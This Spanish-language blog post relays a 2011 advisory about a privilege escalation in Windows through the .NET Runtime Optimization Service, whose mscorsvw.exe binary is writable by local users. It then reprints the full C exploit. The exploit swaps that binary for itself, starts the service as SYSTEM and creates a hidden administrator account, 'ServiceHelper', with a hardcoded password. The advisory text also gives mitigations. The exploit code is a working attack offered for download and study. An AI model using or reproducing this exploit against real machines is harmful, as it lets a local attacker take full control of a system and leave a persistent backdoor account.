13 mar 2011

Elevación de privilegios en Windows a través de .NET

Esta semana que finaliza hoy, los chicos de Hispasec nos sorprendieron con una noticia, adjunta a exploit, muy interesante. Se trata la elevación de privilegios en Windows a través de .NET Runtime Optimization Service.

Os dejo con el texto original de la noticia:

 

.NET Runtime Optimization es un servicio de precompilador que trabaja una vez se ha instalado .NET y cuando el equipo se encuentre inactivo asignando tareas de baja prioridad. Se instala con .NET Framework.El fallo y los detalles para explotarlo han sido publicado directamente sin previo aviso a Microsoft. El problema se ha confirmado para Windows XP SP3, Windows Server 2003 R2 y Windows 7, pero no se descarta que afecte a todas las versiones de Microsoft Windows.El error reside en los permisos de escritura de .NET Runtime Optimization Service y podría ser aprovechado por un atacante local (usuario de dominio o usuario avanzado) para elevar privilegios sustituyendo el fichero mscorsvw.exe por otro que se ejecutaría con privilegios de SYSTEM al iniciarse el servicio.Se recomienda desactivar el servicio o modificar los permisos del fichero c:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\ mscorsvw.exePodemos encontrar el exploit.
Pero también queremos exponer un poco el código del exploit, desarrollado en C, aunque lo podéis descargar desde el enlace de arriba.
# Exploit Title: .NET Runtime Optimization Service Privilege Escalation# Date: 03-07-2011# Author: XenoMuta #include #include SERVICE_STATUS ServiceStatus;SERVICE_STATUS_HANDLE hStatus;#define PWN_EXE "c:\\WINDOWS\\Microsoft.NET\\Framework\\ v2.0.50727\\mscorsvw.exe"#define PWN_SHORT "mscorsvw.exe"#define PWN_NAME ".NET Runtime Optimization Service v2.0.50727_X86"#define PWN_ID "clr_optimization_v2.0.50727_32"void ServiceMain(int argc, char** argv) { if (InitService()) { ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = -1; SetServiceStatus(hStatus, &ServiceStatus); return; } ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus (hStatus, &ServiceStatus);}void ControlHandler(DWORD request);int InitService();int main(int argc, char **argv) { char acUserName[100]; DWORD nUserName = sizeof(acUserName); GetUserName(acUserName, &nUserName); if (strcmp((char *)&acUserName, "SYSTEM")) { char *str = (char *)malloc(2048); memset(str, 0, 2048); snprintf(str, 2048, "%s.bak", PWN_EXE); if (rename(PWN_EXE, str) != 0) { fprintf(stderr, " :( sorry, can't write to file.\n"); exit(1); } CopyFile(argv[0], PWN_EXE, !0); snprintf(str, 2048, "net start \"%s\" 2> NUL > NUL",PWN_NAME); printf("\n >:D should have created a \n\n Username:\tServiceHelper\n Password:\tILov3Coff33!\n\n"); system(str); } SERVICE_TABLE_ENTRY ServiceTable[2]; ServiceTable[0].lpServiceName = PWN_ID; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; ServiceTable[1].lpServiceName = NULL; ServiceTable[1].lpServiceProc = NULL; StartServiceCtrlDispatcher(ServiceTable); return 0;}int InitService() { system("cmd /c net user ServiceHelper ILov3Coff33! /add & net localgroup Administrators ServiceHelper /add");}

No hay comentarios:

Publicar un comentario